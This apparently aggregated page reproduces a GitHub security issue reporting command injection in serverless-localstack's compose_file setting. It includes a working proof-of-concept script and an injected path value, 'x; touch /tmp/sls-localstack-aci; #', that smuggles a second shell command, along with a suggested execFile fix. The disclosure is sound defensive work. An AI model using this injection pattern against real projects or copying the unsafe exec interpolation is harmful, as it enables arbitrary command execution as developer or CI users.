localstack / localstack/serverless-localstack

Command injection via unsanitized `custom.localstack.docker.compose_file`

Aberta
#303 0 comentários 0 reações 0 responsáveis Ver no GitHub

Ninguém assumiu esta issue ainda.

Linguagem predominante
JavaScript
Estrelas
542
Forks
92
Métricas de merge de PRs
Nenhum PR com merge em 30d

Descrição

Description

serverless-localstack passes the custom.localstack.docker.compose_file configuration value directly into a shell command when autostart is enabled and the plugin starts LocalStack through Docker Compose.

The README documents docker.compose_file as an optional Docker Compose file path:

custom:
  localstack:
    autostart: true
    docker:
      compose_file: /home/localstack_compose.yml

However, in src/index.js, the value is interpolated into a command string:

exec(`docker-compose -f ${this.config.docker.compose_file} up -d`)

Because the value is not escaped or passed as an argument array, shell metacharacters in the compose file path can execute additional commands.

Affected Version

Tested with:

  • serverless-localstack@1.4.0
  • Node.js 24.10.0
  • macOS / POSIX shell

Severity

Suggested CVSS v3.1: 6.5 Medium

Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

Rationale:

  • AV:L: exploitation requires control over local project/serverless configuration or the release/build environment.
  • AC:L: once the configuration value is controlled, exploitation is straightforward.
  • PR:H: in the common threat model, the attacker must be able to modify trusted project configuration or influence CI configuration.
  • UI:R: a developer or CI process must run Serverless with this plugin enabled.
  • C/I/A:H: successful exploitation results in arbitrary command execution as the Serverless/CI process. In CI/CD environments this may expose credentials, deployment tokens, or other secrets.

The attack surface is relatively narrow, but the impact after exploitation can be high.

Steps to Reproduce

Create a minimal project:

rm -rf /tmp/sls-localstack-public-poc /tmp/sls-localstack-aci
mkdir -p /tmp/sls-localstack-public-poc
cd /tmp/sls-localstack-public-poc

npm init -y
npm i serverless-localstack@1.4.0

Create poc.js:

const cp = require('child_process');
const { existsSync } = require('fs');

const realExec = cp.exec;

cp.exec = function hookedExec(command, options, callback) {
  if (typeof options === 'function') {
    callback = options;
    options = undefined;
  }

  console.log('[exec]', command);

  // Make the plugin believe no LocalStack container is running,
  // so it reaches the docker-compose startup path.
  if (command === 'docker ps') {
    process.nextTick(() => callback && callback(null, '', ''));
    return { on() {}, stdout: { on() {} }, stderr: { on() {} } };
  }

  return realExec.call(this, command, options, callback);
};

const LocalstackPlugin = require('serverless-localstack');

const serverless = {
  service: {
    custom: {
      localstack: {
        autostart: true,
        stages: ['dev'],
        docker: {
          compose_file: 'x; touch /tmp/sls-localstack-aci; #'
        }
      }
    },
    provider: { stage: 'dev' },
    getFunction() {
      return {};
    }
  },
  pluginManager: { hooks: {}, plugins: [] },
  cli: { log: msg => console.log('[sls]', msg) },
  getProvider() {
    return {
      request() {},
      getCredentials() {
        return { credentials: { accessKeyId: 'test', secretAccessKey: 'test' } };
      },
      sdk: { config: { update() {} } }
    };
  }
};

(async () => {
  const plugin = new LocalstackPlugin(serverless, { stage: 'dev' });
  await plugin.startLocalStack();
  console.log('marker exists:', existsSync('/tmp/sls-localstack-aci'));
})().catch(err => {
  console.log('[error]', err && err.message);
  console.log('marker exists:', existsSync('/tmp/sls-localstack-aci'));
});

Run:

node poc.js

Actual Result

The unescaped compose_file value is embedded into the shell command:

[exec] docker ps
[sls] Starting LocalStack using the provided docker-compose file. This can take a while.
[exec] docker-compose -f x; touch /tmp/sls-localstack-aci; # up -d
[exec] docker ps
marker exists: true

The marker file is created, demonstrating arbitrary command execution.

Expected Result

custom.localstack.docker.compose_file should be treated only as a Docker Compose file path. Shell metacharacters in the path should not execute commands.

Suggested Fix

Avoid building a shell command string from configuration values. For example, use an argument array:

execFile('docker-compose', ['-f', this.config.docker.compose_file, 'up', '-d'])

or use spawn/execa with shell: false.

The same pattern should also be reviewed in other Docker-related command construction paths, for example docker network connect "${this.config.networks[network]}" ${containerID}.

Impact

If an attacker can influence serverless.yml or CI configuration for a project that runs Serverless with serverless-localstack and autostart enabled, they can execute arbitrary commands as the developer or CI user.

Guia de contribuição

Abrir o guia de contribuição

Primeiros passos

  1. Leia a issue inteira e depois o guia de contribuição do projeto.
  2. Comente na issue dizendo que vai assumir — evita que duas pessoas façam o mesmo trabalho.
  3. Faça um fork do repositório e trabalhe em uma branch.
  4. Abra um pull request que referencie o número da issue.

Direção de pesquisa

Comece por src/index.js e pelo caminho startLocalStack; em seguida, execute a reprodução fornecida node poc.js para confirmar o comportamento de injeção de comandos. Revise o comando de inicialização do docker-compose e o caminho indicado de docker network connect; considera-se concluído quando os valores de configuração são passados sem interpretação do shell e a inicialização do LocalStack continua funcionando.

Escrita pelo modelo de indexação a partir do texto da issue.

Avaliação

Stack de tecnologia
docker-compose, javascript
Domínio
devops, security
Tipo de issue
Bug
Dificuldade
3/5
Tempo estimado
1-2 dias
Status de atividade
Pouca atividade
Clareza
Claramente especificada
Facilidade para iniciantes
58/100

Receba novas issues na sua caixa de entrada

Um resumo curto de issues do GitHub para quem está começando.